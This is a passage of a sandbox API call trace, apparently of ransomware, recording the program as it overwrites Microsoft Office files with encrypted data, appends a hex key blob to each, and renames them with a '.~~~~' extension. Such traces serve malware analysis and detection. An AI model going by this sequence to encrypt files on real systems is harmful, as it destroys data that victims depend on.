	[0130.933] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\DESKTOP.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\DESKTOP.INI.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\desktop.ini.~~~~")) returned 1
	[0130.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a08dd0 | out: hHeap=0x300000) returned 1
	[0130.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.934] GetLastError () returned 0x0
	[0130.935] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a11be0) returned 1
	[0130.936] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.936] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0130.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.936] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25092592158) returned 1
	[0130.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb77bd4d0, dwHighDateTime=0x1d60e1e)) 
	[0130.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0130.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd188
	[0130.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd188 | out: hHeap=0x300000) returned 1
	[0130.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4a48
	[0130.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3dc0
	[0130.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4a48 | out: hHeap=0x300000) returned 1
	[0130.937] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.937] GetLastError () returned 0x0
	[0130.937] GetLastError () returned 0x0
	[0130.937] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.937] GetLastError () returned 0x0
	[0130.937] GetLastError () returned 0x0
	[0130.939] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffed9a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.939] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1266, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x1266, lpOverlapped=0x0) returned 1
	[0130.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.941] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.941] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.941] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.941] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.941] CloseHandle (hObject=0x140) returned 1
	[0130.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a08dd0
	[0130.941] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.~~~~")) returned 1
	[0130.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a08dd0 | out: hHeap=0x300000) returned 1
	[0130.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.942] GetLastError () returned 0x0
	[0131.126] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1b60) returned 1
	[0131.127] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.127] CryptReleaseContext (hProv=0x3a1b60, dwFlags=0x0) returned 1
	[0131.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0131.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0131.128] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25111788624) returned 1
	[0131.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb79ac6b0, dwHighDateTime=0x1d60e1e)) 
	[0131.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0131.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0131.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0131.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe2b8
	[0131.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe2b8 | out: hHeap=0x300000) returned 1
	[0131.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0131.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4280
	[0131.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.129] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0131.129] GetLastError () returned 0x0
	[0131.129] GetLastError () returned 0x0
	[0131.129] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0131.129] GetLastError () returned 0x0
	[0131.129] GetLastError () returned 0x0
	[0131.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff3068, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.202] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xcf98, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0xcf98, lpOverlapped=0x0) returned 1
	[0131.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0131.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.205] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.205] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.205] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.205] CloseHandle (hObject=0x130) returned 1
	[0131.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0131.206] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.~~~~")) returned 1
	[0131.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1c08 | out: hHeap=0x300000) returned 1
	[0131.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0131.239] GetLastError () returned 0x0
	[0131.240] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a11be0) returned 1
	[0131.241] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.241] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0131.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0131.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0131.241] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25123122250) returned 1
	[0131.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb7ab7050, dwHighDateTime=0x1d60e1e)) 
	[0131.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0131.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0131.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0131.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe1d8
	[0131.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe1d8 | out: hHeap=0x300000) returned 1
	[0131.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3987f8
	[0131.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0131.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0131.242] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0131.242] GetLastError () returned 0x0
	[0131.242] GetLastError () returned 0x0
	[0131.242] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0131.243] GetLastError () returned 0x0
	[0131.243] GetLastError () returned 0x0
	[0131.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffca80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.245] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3580, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x3580, lpOverlapped=0x0) returned 1
	[0131.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0131.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.248] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.248] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.248] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.248] CloseHandle (hObject=0x130) returned 1
	[0131.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3987f8
	[0131.248] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.~~~~")) returned 1
	[0131.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0131.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0131.250] GetLastError () returned 0x0
	[0131.251] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a19c8) returned 1
	[0131.252] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.252] CryptReleaseContext (hProv=0x3a19c8, dwFlags=0x0) returned 1
	[0131.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0131.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0131.253] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25124285551) returned 1
	[0131.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb7add1b0, dwHighDateTime=0x1d60e1e)) 
	[0131.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0131.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0131.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0131.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823608
	[0131.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823608 | out: hHeap=0x300000) returned 1
	[0131.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0131.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0131.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0131.254] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0131.254] GetLastError () returned 0x0
	[0131.254] GetLastError () returned 0x0
	[0131.254] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0131.254] GetLastError () returned 0x0
	[0131.254] GetLastError () returned 0x0
	[0131.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff95d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.257] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x6a3, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x6a3, lpOverlapped=0x0) returned 1
	[0131.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0131.259] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.259] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.259] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.260] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.260] CloseHandle (hObject=0x130) returned 1
	[0131.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0131.260] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.~~~~")) returned 1
	[0131.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1c08 | out: hHeap=0x300000) returned 1
	[0131.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0131.262] GetLastError () returned 0x0
	[0131.383] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a11be0) returned 1
	[0131.385] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.385] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0131.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0131.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0131.385] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25137529426) returned 1
	[0131.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb7c0dcb0, dwHighDateTime=0x1d60e1e)) 
	[0131.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0131.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0131.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0131.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822b18
	[0131.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822b18 | out: hHeap=0x300000) returned 1
	[0131.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3987f8
	[0131.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3ef0
	[0131.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0131.386] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0131.386] GetLastError () returned 0x0
	[0131.386] GetLastError () returned 0x0
	[0131.387] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0131.387] GetLastError () returned 0x0
	[0131.387] GetLastError () returned 0x0
	[0131.497] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.497] WriteFile (in: hFile=0x13c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0131.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.500] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.500] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.503] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
